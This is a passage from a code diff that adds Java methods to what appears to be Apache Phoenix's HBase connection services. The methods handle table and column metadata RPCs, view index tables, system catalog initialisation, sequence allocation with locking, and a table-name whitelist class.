+                    ServerRpcController controller = new ServerRpcController();
+                    BlockingRpcCallback<MetaDataResponse> rpcCallback =
+                            new BlockingRpcCallback<MetaDataResponse>();
+                    GetTableRequest.Builder builder = GetTableRequest.newBuilder();
+                    builder.setTenantId(HBaseZeroCopyByteString.wrap(tenantIdBytes));
+                    builder.setSchemaName(HBaseZeroCopyByteString.wrap(schemaBytes));
+                    builder.setTableName(HBaseZeroCopyByteString.wrap(tableBytes));
+                    builder.setTableTimestamp(tableTimestamp);
+                    builder.setClientTimestamp(clientTimestamp);
+                    
+                   instance.getTable(controller, builder.build(), rpcCallback);
+                   if(controller.getFailedOn() != null) {
+                       throw controller.getFailedOn();
+                   }
+                   return rpcCallback.get();
+                }
+            });
+    }
+
+    @Override
+    public MetaDataMutationResult dropTable(final List<Mutation> tableMetaData, final PTableType tableType) throws SQLException {
+        byte[][] rowKeyMetadata = new byte[3][];
+        SchemaUtil.getVarChars(tableMetaData.get(0).getRow(), rowKeyMetadata);
+        byte[] tenantIdBytes = rowKeyMetadata[PhoenixDatabaseMetaData.TENANT_ID_INDEX];
+        byte[] schemaBytes = rowKeyMetadata[PhoenixDatabaseMetaData.SCHEMA_NAME_INDEX];
+        byte[] tableBytes = rowKeyMetadata[PhoenixDatabaseMetaData.TABLE_NAME_INDEX];
+        byte[] tableKey = SchemaUtil.getTableKey(tenantIdBytes == null ? ByteUtil.EMPTY_BYTE_ARRAY : tenantIdBytes, schemaBytes, tableBytes);
+        final MetaDataMutationResult result =  metaDataCoprocessorExec(tableKey,
+                new Batch.Call<MetaDataService, MetaDataResponse>() {
+                    @Override
+                    public MetaDataResponse call(MetaDataService instance) throws IOException {
+                        ServerRpcController controller = new ServerRpcController();
+                        BlockingRpcCallback<MetaDataResponse> rpcCallback =
+                                new BlockingRpcCallback<MetaDataResponse>();
+                        DropTableRequest.Builder builder = DropTableRequest.newBuilder();
+                        for (Mutation m : tableMetaData) {
+                            MutationProto mp = ProtobufUtil.toProto(m);
+                            builder.addTableMetadataMutations(mp.toByteString());
+                        }
+                        builder.setTableType(tableType.getSerializedValue());
+                        
+                        instance.dropTable(controller, builder.build(), rpcCallback);
+                        if(controller.getFailedOn() != null) {
+                            throw controller.getFailedOn();
+                        }
+                        return rpcCallback.get();
+                    }
+                });
+        
+        final MutationCode code = result.getMutationCode();
+        switch(code) {
+        case TABLE_ALREADY_EXISTS:
+            ReadOnlyProps props = this.getProps();
+            boolean dropMetadata = props.getBoolean(DROP_METADATA_ATTRIB, DEFAULT_DROP_METADATA);
+            if (dropMetadata) {
+                dropTables(result.getTableNamesToDelete());
+            }
+            if (tableType == PTableType.TABLE) {
+                byte[] physicalTableName = SchemaUtil.getTableNameAsBytes(schemaBytes, tableBytes);
+                long timestamp = MetaDataUtil.getClientTimeStamp(tableMetaData);
+                ensureViewIndexTableDropped(physicalTableName, timestamp);
+            }
+            break;
+        default:
+            break;
+        }
+          return result;
+    }
+    
+    private void dropTables(final List<byte[]> tableNamesToDelete) throws SQLException {
+        HBaseAdmin admin = null;
+        SQLException sqlE = null;
+        try{
+            admin = new HBaseAdmin(config);
+            if (tableNamesToDelete != null){
+                for ( byte[] tableName : tableNamesToDelete ) {
+                    if ( admin.tableExists(tableName) ) {
+                        admin.disableTable(tableName);
+                        admin.deleteTable(tableName);
+                    }
+                }
+            }
+            
+        } catch (IOException e) {
+            sqlE = ServerUtil.parseServerException(e);
+        } finally {
+            try {
+                if (admin != null) {
+                    admin.close();
+                }
+            } catch (IOException e) {
+                if (sqlE == null) {
+                    sqlE = ServerUtil.parseServerException(e);
+                } else {
+                    sqlE.setNextException(ServerUtil.parseServerException(e));
+                }
+            } finally {
+                if (sqlE != null) {
+                    throw sqlE;
+                }
+            }
+        }
+    }
+
+    private static Map<String,Object> createPropertiesMap(Map<ImmutableBytesWritable,ImmutableBytesWritable> htableProps) {
+        Map<String,Object> props = Maps.newHashMapWithExpectedSize(htableProps.size());
+        for (Map.Entry<ImmutableBytesWritable,ImmutableBytesWritable> entry : htableProps.entrySet()) {
+            ImmutableBytesWritable key = entry.getKey();
+            ImmutableBytesWritable value = entry.getValue();
+            props.put(Bytes.toString(key.get(), key.getOffset(), key.getLength()), Bytes.toString(value.get(), value.getOffset(), value.getLength()));
+        }
+        return props;
+    }
+    
+    private void ensureViewIndexTableCreated(PName tenantId, byte[] physicalIndexTableName, long timestamp) throws SQLException {
+        PTable table;
+        String name = Bytes.toString(
+                physicalIndexTableName, 
+                MetaDataUtil.VIEW_INDEX_TABLE_PREFIX_BYTES.length,
+                physicalIndexTableName.length-MetaDataUtil.VIEW_INDEX_TABLE_PREFIX_BYTES.length);
+        try {
+            table = latestMetaData.getTable(new PTableKey(tenantId, name));
+            if (table.getTimeStamp() >= timestamp) { // Table in cache is newer than client timestamp which shouldn't be the case
+                throw new TableNotFoundException(table.getSchemaName().getString(), table.getTableName().getString());
+            }
+        } catch (TableNotFoundException e) {
+            byte[] schemaName = Bytes.toBytes(SchemaUtil.getSchemaNameFromFullName(name));
+            byte[] tableName = Bytes.toBytes(SchemaUtil.getTableNameFromFullName(name));
+            MetaDataMutationResult result = this.getTable(null, schemaName, tableName, HConstants.LATEST_TIMESTAMP, timestamp);
+            table = result.getTable();
+            if (table == null) {
+                throw e;
+            }
+        }
+        ensureViewIndexTableCreated(table, timestamp);
+    }
+    
+    private void ensureViewIndexTableCreated(PTable table, long timestamp) throws SQLException {
+        byte[] physicalTableName = table.getPhysicalName().getBytes();
+        HTableDescriptor htableDesc = this.getTableDescriptor(physicalTableName);
+        Map<String,Object> tableProps = createPropertiesMap(htableDesc.getValues());
+        List<Pair<byte[],Map<String,Object>>> families = Lists.newArrayListWithExpectedSize(Math.max(1, table.getColumnFamilies().size()+1));
+        if (families.isEmpty()) {
+            byte[] familyName = SchemaUtil.getEmptyColumnFamily(table);
+            Map<String,Object> familyProps = createPropertiesMap(htableDesc.getFamily(familyName).getValues());
+            families.add(new Pair<byte[],Map<String,Object>>(familyName, familyProps));
+        } else {
+            for (PColumnFamily family : table.getColumnFamilies()) {
+                byte[] familyName = family.getName().getBytes();
+                Map<String,Object> familyProps = createPropertiesMap(htableDesc.getFamily(familyName).getValues());
+                families.add(new Pair<byte[],Map<String,Object>>(familyName, familyProps));
+            }
+            // Always create default column family, because we don't know in advance if we'll
+            // need it for an index with no covered columns.
+            families.add(new Pair<byte[],Map<String,Object>>(table.getDefaultFamilyName().getBytes(), Collections.<String,Object>emptyMap()));
+        }
+        byte[][] splits = null;
+        if (table.getBucketNum() != null) {
+            splits = SaltingUtil.getSalteByteSplitPoints(table.getBucketNum());
+        }
+        
+        ensureViewIndexTableCreated(physicalTableName, tableProps, families, splits, timestamp);
+    }
+    
+    @Override
+    public MetaDataMutationResult addColumn(final List<Mutation> tableMetaData, List<Pair<byte[],Map<String,Object>>> families, PTable table) throws SQLException {
+        byte[][] rowKeyMetaData = new byte[3][];
+        PTableType tableType = table.getType();
+
+        Mutation m = tableMetaData.get(0);
+        byte[] rowKey = m.getRow();
+        SchemaUtil.getVarChars(rowKey, rowKeyMetaData);
+        byte[] tenantIdBytes = rowKeyMetaData[PhoenixDatabaseMetaData.TENANT_ID_INDEX];
+        byte[] schemaBytes = rowKeyMetaData[PhoenixDatabaseMetaData.SCHEMA_NAME_INDEX];
+        byte[] tableBytes = rowKeyMetaData[PhoenixDatabaseMetaData.TABLE_NAME_INDEX];
+        byte[] tableKey = SchemaUtil.getTableKey(tenantIdBytes, schemaBytes, tableBytes);
+        for ( Pair<byte[],Map<String,Object>>  family : families) {
+            ensureFamilyCreated(table.getPhysicalName().getBytes(), tableType, family);
+        }
+        // Special case for call during drop table to ensure that the empty column family exists.
+        // In this, case we only include the table header row, as until we add schemaBytes and tableBytes
+        // as args to this function, we have no way of getting them in this case.
+        // TODO: change to  if (tableMetaData.isEmpty()) once we pass through schemaBytes and tableBytes
+        // Also, could be used to update property values on ALTER TABLE t SET prop=xxx
+        if (tableMetaData.size() == 1 && tableMetaData.get(0).isEmpty()) {
+            return null;
+        }
+        ImmutableBytesWritable ptr = new ImmutableBytesWritable();
+        MetaDataMutationResult result =  metaDataCoprocessorExec(tableKey,
+            new Batch.Call<MetaDataService, MetaDataResponse>() {
+                @Override
+                public MetaDataResponse call(MetaDataService instance) throws IOException {
+                    ServerRpcController controller = new ServerRpcController();
+                    BlockingRpcCallback<MetaDataResponse> rpcCallback =
+                            new BlockingRpcCallback<MetaDataResponse>();
+                    AddColumnRequest.Builder builder = AddColumnRequest.newBuilder();
+                    for (Mutation m : tableMetaData) {
+                        MutationProto mp = ProtobufUtil.toProto(m);
+                        builder.addTableMetadataMutations(mp.toByteString());
+                    }
+                    
+                    instance.addColumn(controller, builder.build(), rpcCallback);
+                    if(controller.getFailedOn() != null) {
+                        throw controller.getFailedOn();
+                    }
+                    return rpcCallback.get();
+                }
+            });
+
+        if (result.getMutationCode() == MutationCode.COLUMN_NOT_FOUND) { // Success
+            // Flush the table if transitioning DISABLE_WAL from TRUE to FALSE
+            if (  MetaDataUtil.getMutationValue(m,PhoenixDatabaseMetaData.DISABLE_WAL_BYTES, kvBuilder, ptr)
+               && Boolean.FALSE.equals(PDataType.BOOLEAN.toObject(ptr))) {
+                flushTable(table.getPhysicalName().getBytes());
+            }
+            
+            if (tableType == PTableType.TABLE) {
+                // If we're changing MULTI_TENANT to true or false, create or drop the view index table
+                if (MetaDataUtil.getMutationValue(m, PhoenixDatabaseMetaData.MULTI_TENANT_BYTES, kvBuilder, ptr)){
+                    long timestamp = MetaDataUtil.getClientTimeStamp(m);
+                    if (Boolean.TRUE.equals(PDataType.BOOLEAN.toObject(ptr.get(), ptr.getOffset(), ptr.getLength()))) {
+                        this.ensureViewIndexTableCreated(table, timestamp);
+                    } else {
+                        this.ensureViewIndexTableDropped(table.getPhysicalName().getBytes(), timestamp);
+                    }
+                }
+            }
+        }
+        return result;
+    }
+
+    @Override
+    public MetaDataMutationResult dropColumn(final List<Mutation> tableMetaData, PTableType tableType) throws SQLException {
+        byte[][] rowKeyMetadata = new byte[3][];
+        SchemaUtil.getVarChars(tableMetaData.get(0).getRow(), rowKeyMetadata);
+        byte[] tenantIdBytes = rowKeyMetadata[PhoenixDatabaseMetaData.TENANT_ID_INDEX];
+        byte[] schemaBytes = rowKeyMetadata[PhoenixDatabaseMetaData.SCHEMA_NAME_INDEX];
+        byte[] tableBytes = rowKeyMetadata[PhoenixDatabaseMetaData.TABLE_NAME_INDEX];
+        byte[] tableKey = SchemaUtil.getTableKey(tenantIdBytes, schemaBytes, tableBytes);
+        MetaDataMutationResult result = metaDataCoprocessorExec(tableKey,
+            new Batch.Call<MetaDataService, MetaDataResponse>() {
+                @Override
+                public MetaDataResponse call(MetaDataService instance) throws IOException {
+                    ServerRpcController controller = new ServerRpcController();
+                    BlockingRpcCallback<MetaDataResponse> rpcCallback =
+                            new BlockingRpcCallback<MetaDataResponse>();
+                    DropColumnRequest.Builder builder = DropColumnRequest.newBuilder();
+                    for (Mutation m : tableMetaData) {
+                        MutationProto mp = ProtobufUtil.toProto(m);
+                        builder.addTableMetadataMutations(mp.toByteString());
+                    }
+                    instance.dropColumn(controller, builder.build(), rpcCallback);
+                    if(controller.getFailedOn() != null) {
+                        throw controller.getFailedOn();
+                    }
+                    return rpcCallback.get();
+                }
+            });
+        final MutationCode code = result.getMutationCode();
+        switch(code) {
+        case TABLE_ALREADY_EXISTS:
+            final ReadOnlyProps props = this.getProps();
+            final boolean dropMetadata = props.getBoolean(DROP_METADATA_ATTRIB, DEFAULT_DROP_METADATA);
+            if (dropMetadata) {
+                dropTables(result.getTableNamesToDelete());
+            }
+            break;
+        default:
+            break;
+        }
+        return result;
+       
+    }
+
+    // Keeping this to use for further upgrades
+    protected PhoenixConnection addColumnsIfNotExists(PhoenixConnection oldMetaConnection, long timestamp, String columns) throws SQLException {
+        Properties props = new Properties(oldMetaConnection.getClientInfo());
+        props.setProperty(PhoenixRuntime.CURRENT_SCN_ATTRIB, Long.toString(timestamp));
+        // Cannot go through DriverManager or you end up in an infinite loop because it'll call init again
+        PhoenixConnection metaConnection = new PhoenixConnection(this, oldMetaConnection.getURL(), props, oldMetaConnection.getMetaDataCache());
+        SQLException sqlE = null;
+        try {
+            metaConnection.createStatement().executeUpdate("ALTER TABLE " + PhoenixDatabaseMetaData.SYSTEM_CATALOG + " ADD IF NOT EXISTS " + columns );
+        } catch (SQLException e) {
+            sqlE = e;
+        } finally {
+            try {
+                oldMetaConnection.close();
+            } catch (SQLException e) {
+                if (sqlE != null) {
+                    sqlE.setNextException(e);
+                } else {
+                    sqlE = e;
+                }
+            }
+            if (sqlE != null) {
+                throw sqlE;
+            }
+        }
+        return metaConnection;
+    }
+    
+    @Override
+    public void init(String url, Properties props) throws SQLException {
+        try {
+          this.connection = HBaseFactoryProvider.getHConnectionFactory().createConnection(this.config);
+        } catch (IOException e) {
+            throw new SQLExceptionInfo.Builder(SQLExceptionCode.CANNOT_ESTABLISH_CONNECTION)
+                .setRootCause(e).build().buildException();
+        }
+        if (this.connection.isClosed()) { // TODO: why the heck doesn't this throw above?
+            throw new SQLExceptionInfo.Builder(SQLExceptionCode.CANNOT_ESTABLISH_CONNECTION).build().buildException();
+        }
+        
+        Properties scnProps = PropertiesUtil.deepCopy(props);
+        scnProps.setProperty(PhoenixRuntime.CURRENT_SCN_ATTRIB, Long.toString(MetaDataProtocol.MIN_SYSTEM_TABLE_TIMESTAMP));
+        scnProps.remove(PhoenixRuntime.TENANT_ID_ATTRIB);
+        PhoenixConnection metaConnection = new PhoenixConnection(this, url, scnProps, newEmptyMetaData());
+        SQLException sqlE = null;
+        try {
+            try {
+                metaConnection.createStatement().executeUpdate(QueryConstants.CREATE_TABLE_METADATA);
+            } catch (NewerTableAlreadyExistsException ignore) {
+                // Ignore, as this will happen if the SYSTEM.TABLE already exists at this fixed timestamp.
+                // A TableAlreadyExistsException is not thrown, since the table only exists *after* this fixed timestamp.
+            }
+            try {
+                metaConnection.createStatement().executeUpdate(QueryConstants.CREATE_SEQUENCE_METADATA);
+            } catch (NewerTableAlreadyExistsException ignore) {
+                // Ignore, as this will happen if the SYSTEM.SEQUENCE already exists at this fixed timestamp.
+                // A TableAlreadyExistsException is not thrown, since the table only exists *after* this fixed timestamp.
+            }
+        } catch (SQLException e) {
+            sqlE = e;
+        } finally {
+            try {
+                metaConnection.close();
+            } catch (SQLException e) {
+                if (sqlE != null) {
+                    sqlE.setNextException(e);
+                } else {
+                    sqlE = e;
+                }
+            }
+            if (sqlE != null) {
+                throw sqlE;
+            }
+        }
+        upgradeMetaDataTo3_0(url, props);
+    }
+
+    @Override
+    public MutationState updateData(MutationPlan plan) throws SQLException {
+        return plan.execute();
+    }
+
+    @Override
+    public int getLowestClusterHBaseVersion() {
+        return lowestClusterHBaseVersion;
+    }
+
+    @Override
+    public boolean hasInvalidIndexConfiguration() {
+        return hasInvalidIndexConfiguration;
+    }
+
+    /**
+     * Clears the Phoenix meta data cache on each region server
+     * @throws SQLException
+     */
+    protected void clearCache() throws SQLException {
+        try {
+            SQLException sqlE = null;
+            HTableInterface htable = this.getTable(PhoenixDatabaseMetaData.SYSTEM_CATALOG_NAME_BYTES);
+            try {
+                htable.coprocessorService(MetaDataService.class, HConstants.EMPTY_START_ROW,
+                        HConstants.EMPTY_END_ROW, new Batch.Call<MetaDataService, ClearCacheResponse>() {
+                    @Override
+                    public ClearCacheResponse call(MetaDataService instance) throws IOException {
+                        ServerRpcController controller = new ServerRpcController();
+                        BlockingRpcCallback<ClearCacheResponse> rpcCallback =
+                                new BlockingRpcCallback<ClearCacheResponse>();
+                        ClearCacheRequest.Builder builder = ClearCacheRequest.newBuilder();
+                        instance.clearCache(controller, builder.build(), rpcCallback);
+                        if(controller.getFailedOn() != null) {
+                            throw controller.getFailedOn();
+                        }
+                        return rpcCallback.get(); 
+                    }
+                  });
+            } catch (IOException e) {
+                throw ServerUtil.parseServerException(e);
+            } catch (Throwable e) {
+                sqlE = new SQLException(e);
+            } finally {
+                try {
+                    htable.close();
+                } catch (IOException e) {
+                    if (sqlE == null) {
+                        sqlE = ServerUtil.parseServerException(e);
+                    } else {
+                        sqlE.setNextException(ServerUtil.parseServerException(e));
+                    }
+                } finally {
+                    if (sqlE != null) {
+                        throw sqlE;
+                    }
+                }
+            }
+        } catch (Exception e) {
+            throw new SQLException(ServerUtil.parseServerException(e));
+        }
+    }
+
+    private void flushTable(byte[] tableName) throws SQLException {
+        HBaseAdmin admin = getAdmin();
+        try {
+            admin.flush(tableName);
+        } catch (IOException e) {
+            throw new PhoenixIOException(e);
+        } catch (InterruptedException e) {
+            throw new SQLExceptionInfo.Builder(SQLExceptionCode.INTERRUPTED_EXCEPTION).setRootCause(e).build()
+                    .buildException();
+        } finally {
+            Closeables.closeQuietly(admin);
+        }
+    }
+
+    @Override
+    public HBaseAdmin getAdmin() throws SQLException {
+        try {
+            return new HBaseAdmin(config);
+        } catch (IOException e) {
+            throw new PhoenixIOException(e);
+        }
+    }
+
+    @Override
+    public MetaDataMutationResult updateIndexState(final List<Mutation> tableMetaData, String parentTableName) throws SQLException {
+        byte[][] rowKeyMetadata = new byte[3][];
+        SchemaUtil.getVarChars(tableMetaData.get(0).getRow(), rowKeyMetadata);
+        byte[] tableKey = SchemaUtil.getTableKey(ByteUtil.EMPTY_BYTE_ARRAY, rowKeyMetadata[PhoenixDatabaseMetaData.SCHEMA_NAME_INDEX], rowKeyMetadata[PhoenixDatabaseMetaData.TABLE_NAME_INDEX]);
+        return metaDataCoprocessorExec(tableKey,
+                new Batch.Call<MetaDataService, MetaDataResponse>() {
+                    @Override
+                    public MetaDataResponse call(MetaDataService instance) throws IOException {
+                        ServerRpcController controller = new ServerRpcController();
+                        BlockingRpcCallback<MetaDataResponse> rpcCallback =
+                                new BlockingRpcCallback<MetaDataResponse>();
+                        UpdateIndexStateRequest.Builder builder = UpdateIndexStateRequest.newBuilder();
+                        for (Mutation m : tableMetaData) {
+                            MutationProto mp = ProtobufUtil.toProto(m);
+                            builder.addTableMetadataMutations(mp.toByteString());
+                        }
+                        instance.updateIndexState(controller, builder.build(), rpcCallback);
+                        if(controller.getFailedOn() != null) {
+                            throw controller.getFailedOn();
+                        }
+                        return rpcCallback.get();
+                    }
+                });
+    }
+
+    @Override
+    public long createSequence(String tenantId, String schemaName, String sequenceName, long startWith, long incrementBy, long cacheSize, long timestamp) 
+            throws SQLException {
+        SequenceKey sequenceKey = new SequenceKey(tenantId, schemaName, sequenceName);
+        Sequence newSequences = new Sequence(sequenceKey);
+        Sequence sequence = sequenceMap.putIfAbsent(sequenceKey, newSequences);
+        if (sequence == null) {
+            sequence = newSequences;
+        }
+        try {
+            sequence.getLock().lock();
+            // Now that we have the lock we need, create the sequence
+            Append append = sequence.createSequence(startWith, incrementBy, cacheSize, timestamp);
+            HTableInterface htable = this.getTable(PhoenixDatabaseMetaData.SEQUENCE_TABLE_NAME_BYTES);
+            try {
+                Result result = htable.append(append);
+                return sequence.createSequence(result);
+            } catch (IOException e) {
+                throw ServerUtil.parseServerException(e);
+            }
+        } finally {
+            sequence.getLock().unlock();
+        }
+    }
+
+    @Override
+    public long dropSequence(String tenantId, String schemaName, String sequenceName, long timestamp) throws SQLException {
+        SequenceKey sequenceKey = new SequenceKey(tenantId, schemaName, sequenceName);
+        Sequence newSequences = new Sequence(sequenceKey);
+        Sequence sequence = sequenceMap.putIfAbsent(sequenceKey, newSequences);
+        if (sequence == null) {
+            sequence = newSequences;
+        }
+        try {
+            sequence.getLock().lock();
+            // Now that we have the lock we need, create the sequence
+            Append append = sequence.dropSequence(timestamp);
+            HTableInterface htable = this.getTable(PhoenixDatabaseMetaData.SEQUENCE_TABLE_NAME_BYTES);
+            try {
+                Result result = htable.append(append);
+                return sequence.dropSequence(result);
+            } catch (IOException e) {
+                throw ServerUtil.parseServerException(e);
+            }
+        } finally {
+            sequence.getLock().unlock();
+        }
+    }
+
+    /**
+     * Gets the current sequence value
+     * @param tenantId
+     * @param sequence
+     * @throws SQLException if cached sequence cannot be found 
+     */
+    @Override
+    public long currentSequenceValue(SequenceKey sequenceKey, long timestamp) throws SQLException {
+        Sequence sequence = sequenceMap.get(sequenceKey);
+        if (sequence == null) {
+            throw new SQLExceptionInfo.Builder(SQLExceptionCode.CANNOT_CALL_CURRENT_BEFORE_NEXT_VALUE)
+            .setSchemaName(sequenceKey.getSchemaName()).setTableName(sequenceKey.getSequenceName())
+            .build().buildException();
+        }
+        sequence.getLock().lock();
+        try {
+            return sequence.currentValue(timestamp);
+        } catch (EmptySequenceCacheException e) {
+            throw new SQLExceptionInfo.Builder(SQLExceptionCode.CANNOT_CALL_CURRENT_BEFORE_NEXT_VALUE)
+            .setSchemaName(sequenceKey.getSchemaName()).setTableName(sequenceKey.getSequenceName())
+            .build().buildException();
+        } finally {
+            sequence.getLock().unlock();
+        }
+    }
+    
+    /**
+     * Verifies that sequences exist and reserves values for them if reserveValues is true
+     */
+    @Override
+    public void validateSequences(List<SequenceKey> sequenceKeys, long timestamp, long[] values, SQLException[] exceptions, Sequence.Action action) throws SQLException {
+        incrementSequenceValues(sequenceKeys, timestamp, values, exceptions, 0, action);
+    }
+    
+    /**
+     * Increment any of the set of sequences that need more values. These are the sequences
+     * that are asking for the next value within a given statement. The returned sequences
+     * are the ones that were not found because they were deleted by another client. 
+     * @param tenantId
+     * @param sequenceKeys sorted list of sequence kyes
+     * @param batchSize
+     * @param timestamp
+     * @throws SQLException if any of the sequences cannot be found
+     * 
+     */
+    @Override
+    public void incrementSequences(List<SequenceKey> sequenceKeys, long timestamp, long[] values, SQLException[] exceptions) throws SQLException {
+        incrementSequenceValues(sequenceKeys, timestamp, values, exceptions, 1, Sequence.Action.RESERVE);
+    }
+
+    private void incrementSequenceValues(List<SequenceKey> keys, long timestamp, long[] values, SQLException[] exceptions, int factor, Sequence.Action action) throws SQLException {
+        List<Sequence> sequences = Lists.newArrayListWithExpectedSize(keys.size());
+        for (SequenceKey key : keys) {
+            Sequence newSequences = new Sequence(key);
+            Sequence sequence = sequenceMap.putIfAbsent(key, newSequences);
+            if (sequence == null) {
+                sequence = newSequences;
+            }
+            sequences.add(sequence);
+        }
+        try {
+            for (Sequence sequence : sequences) {
+                sequence.getLock().lock();
+            }
+            // Now that we have all the locks we need, increment the sequences
+            List<Increment> incrementBatch = Lists.newArrayListWithExpectedSize(sequences.size());
+            List<Sequence> toIncrementList = Lists.newArrayListWithExpectedSize(sequences.size());
+            int[] indexes = new int[sequences.size()];
+            for (int i = 0; i < sequences.size(); i++) {
+                Sequence sequence = sequences.get(i);
+                try {
+                    values[i] = sequence.incrementValue(timestamp, factor, action);
+                } catch (EmptySequenceCacheException e) {
+                    indexes[toIncrementList.size()] = i;
+                    toIncrementList.add(sequence);
+                    Increment inc = sequence.newIncrement(timestamp, action);
+                    incrementBatch.add(inc);
+                }
+            }
+            if (toIncrementList.isEmpty()) {
+                return;
+            }
+            HTableInterface hTable = this.getTable(PhoenixDatabaseMetaData.SEQUENCE_TABLE_NAME_BYTES);
+            Object[] resultObjects = null;
+            SQLException sqlE = null;
+            try {
+                resultObjects= hTable.batch(incrementBatch);
+            } catch (IOException e){
+                sqlE = ServerUtil.parseServerException(e);
+            } catch (InterruptedException e){
+                sqlE = new SQLExceptionInfo.Builder(SQLExceptionCode.INTERRUPTED_EXCEPTION)
+                .setRootCause(e).build().buildException(); // FIXME ?
+            } finally {
+                try {
+                    hTable.close();
+                } catch (IOException e) {
+                    if (sqlE == null) {
+                        sqlE = ServerUtil.parseServerException(e);
+                    } else {
+                        sqlE.setNextException(ServerUtil.parseServerException(e));
+                    }
+                }
+                if (sqlE != null) {
+                    throw sqlE;
+                }
+            }
+            for (int i=0;i<resultObjects.length;i++){
+                Sequence sequence = toIncrementList.get(i);
+                Result result = (Result)resultObjects[i];
+                try {
+                    values[indexes[i]] = sequence.incrementValue(result, factor);
+                } catch (SQLException e) {
+                    exceptions[indexes[i]] = e;
+                }
+            }
+        } finally {
+            for (Sequence sequence : sequences) {
+                sequence.getLock().unlock();
+            }
+        }
+    }
+
+    @Override
+    public void returnSequences(List<SequenceKey> keys, long timestamp, SQLException[] exceptions) throws SQLException {
+        List<Sequence> sequences = Lists.newArrayListWithExpectedSize(keys.size());
+        for (SequenceKey key : keys) {
+            Sequence newSequences = new Sequence(key);
+            Sequence sequence = sequenceMap.putIfAbsent(key, newSequences);
+            if (sequence == null) {
+                sequence = newSequences;
+            }
+            sequences.add(sequence);
+        }
+        try {
+            for (Sequence sequence : sequences) {
+                sequence.getLock().lock();
+            }
+            // Now that we have all the locks we need, attempt to return the unused sequence values
+            List<Append> mutations = Lists.newArrayListWithExpectedSize(sequences.size());
+            List<Sequence> toReturnList = Lists.newArrayListWithExpectedSize(sequences.size());
+            int[] indexes = new int[sequences.size()];
+            for (int i = 0; i < sequences.size(); i++) {
+                Sequence sequence = sequences.get(i);
+                try {
+                    Append append = sequence.newReturn(timestamp);
+                    toReturnList.add(sequence);
+                    mutations.add(append);
+                } catch (EmptySequenceCacheException ignore) { // Nothing to return, so ignore
+                }
+            }
+            if (toReturnList.isEmpty()) {
+                return;
+            }
+            HTableInterface hTable = this.getTable(PhoenixDatabaseMetaData.SEQUENCE_TABLE_NAME_BYTES);
+            Object[] resultObjects = null;
+            SQLException sqlE = null;
+            try {
+                resultObjects= hTable.batch(mutations);
+            } catch (IOException e){
+                sqlE = ServerUtil.parseServerException(e);
+            } catch (InterruptedException e){
+                sqlE = new SQLExceptionInfo.Builder(SQLExceptionCode.INTERRUPTED_EXCEPTION)
+                .setRootCause(e).build().buildException(); // FIXME ?
+            } finally {
+                try {
+                    hTable.close();
+                } catch (IOException e) {
+                    if (sqlE == null) {
+                        sqlE = ServerUtil.parseServerException(e);
+                    } else {
+                        sqlE.setNextException(ServerUtil.parseServerException(e));
+                    }
+                }
+                if (sqlE != null) {
+                    throw sqlE;
+                }
+            }
+            for (int i=0;i<resultObjects.length;i++){
+                Sequence sequence = toReturnList.get(i);
+                Result result = (Result)resultObjects[i];
+                try {
+                    sequence.returnValue(result);
+                } catch (SQLException e) {
+                    exceptions[indexes[i]] = e;
+                }
+            }
+        } finally {
+            for (Sequence sequence : sequences) {
+                sequence.getLock().unlock();
+            }
+        }
+    }
+
+    // Take no locks, as this only gets run when there are no open connections
+    // so there's no danger of contention.
+    private void returnAllSequences(ConcurrentMap<SequenceKey,Sequence> sequenceMap) throws SQLException {
+        List<Append> mutations = Lists.newArrayListWithExpectedSize(sequenceMap.size());
+        for (Sequence sequence : sequenceMap.values()) {
+            mutations.addAll(sequence.newReturns());
+        }
+        if (mutations.isEmpty()) {
+            return;
+        }
+        HTableInterface hTable = this.getTable(PhoenixDatabaseMetaData.SEQUENCE_TABLE_NAME_BYTES);
+        SQLException sqlE = null;
+        try {
+            hTable.batch(mutations);
+        } catch (IOException e){
+            sqlE = ServerUtil.parseServerException(e);
+        } catch (InterruptedException e){
+            sqlE = new SQLExceptionInfo.Builder(SQLExceptionCode.INTERRUPTED_EXCEPTION)
+            .setRootCause(e).build().buildException(); // FIXME ?
+        } finally {
+            try {
+                hTable.close();
+            } catch (IOException e) {
+                if (sqlE == null) {
+                    sqlE = ServerUtil.parseServerException(e);
+                } else {
+                    sqlE.setNextException(ServerUtil.parseServerException(e));
+                }
+            }
+            if (sqlE != null) {
+                throw sqlE;
+            }
+        }
+    }
+    
+    @Override
+    public synchronized void addConnection(PhoenixConnection connection) throws SQLException {
+        connectionCount++;
+    }
+
+    @Override
+    public void removeConnection(PhoenixConnection connection) throws SQLException {
+        ConcurrentMap<SequenceKey,Sequence> formerSequenceMap = null;
+        synchronized(this) {
+            if (--connectionCount == 0) {
+                if (!this.sequenceMap.isEmpty()) {
+                    formerSequenceMap = this.sequenceMap;
+                    this.sequenceMap = Maps.newConcurrentMap();
+                }
+            }
+        }
+        // Since we're using the former sequenceMap, we can do this outside
+        // the lock.
+        if (formerSequenceMap != null) {
+            // When there are no more connections, attempt to return any sequences
+            returnAllSequences(formerSequenceMap);
+        }
+    }
+
+    @Override
+    public KeyValueBuilder getKeyValueBuilder() {
+        return this.kvBuilder;
+    }
+
+    @Override
+    public boolean supportsFeature(Feature feature) {
+        // TODO: Keep map of Feature -> min HBase version
+        // For now, only Feature is REVERSE_SCAN and it's not supported in any version yet
+        return false;
+    }
+    
+    private static final class WhiteList implements Iterable<String>{
+        private final Set<String> matchList;
+        private static final String MATCH_EVERYTHING = "*";
+        private static final String DELIMITER = ",";
+        
+        public WhiteList() {
+            matchList = Collections.emptySet();
+        }
+        
+        public WhiteList(Set<String> matchList) {
+            this.matchList = matchList == null ? null : ImmutableSet.copyOf(matchList);
+        }
+        
+        public WhiteList(String tableNames) {
+            Set<String> matchList = Sets.newHashSet();
+            if (tableNames == null) {
+                this.matchList = ImmutableSet.of();
+            } else if (MATCH_EVERYTHING.equals(tableNames)) {
+                this.matchList = null;
+            } else {
+                matchList = Sets.newHashSet();
+                StringTokenizer tokenizer = new StringTokenizer(tableNames,DELIMITER);
+                while (tokenizer.hasMoreTokens()) {
+                    matchList.add(tokenizer.nextToken().trim());
+                }
+                this.matchList = ImmutableSet.copyOf(matchList);
+            }
+        }
+        
+        public boolean alwaysMatches() {
+            return matchList == null;
+        }
+        
+        public boolean neverMatches() {
+            return matchList != null && matchList.isEmpty();
+        }
+        
+        public boolean matches(byte[] fullTableName) {
+            if (matchList == null) {
+                return true;
+            }
+            return matchList.contains(Bytes.toString(fullTableName));
+        }
+
+        @Override
+        public Iterator<String> iterator() {
+            if (matchList == null) {
+                return Iterators.emptyIterator();
+            }
+            return matchList.iterator();
+        }
+        
+        @Override
+        public String toString() {
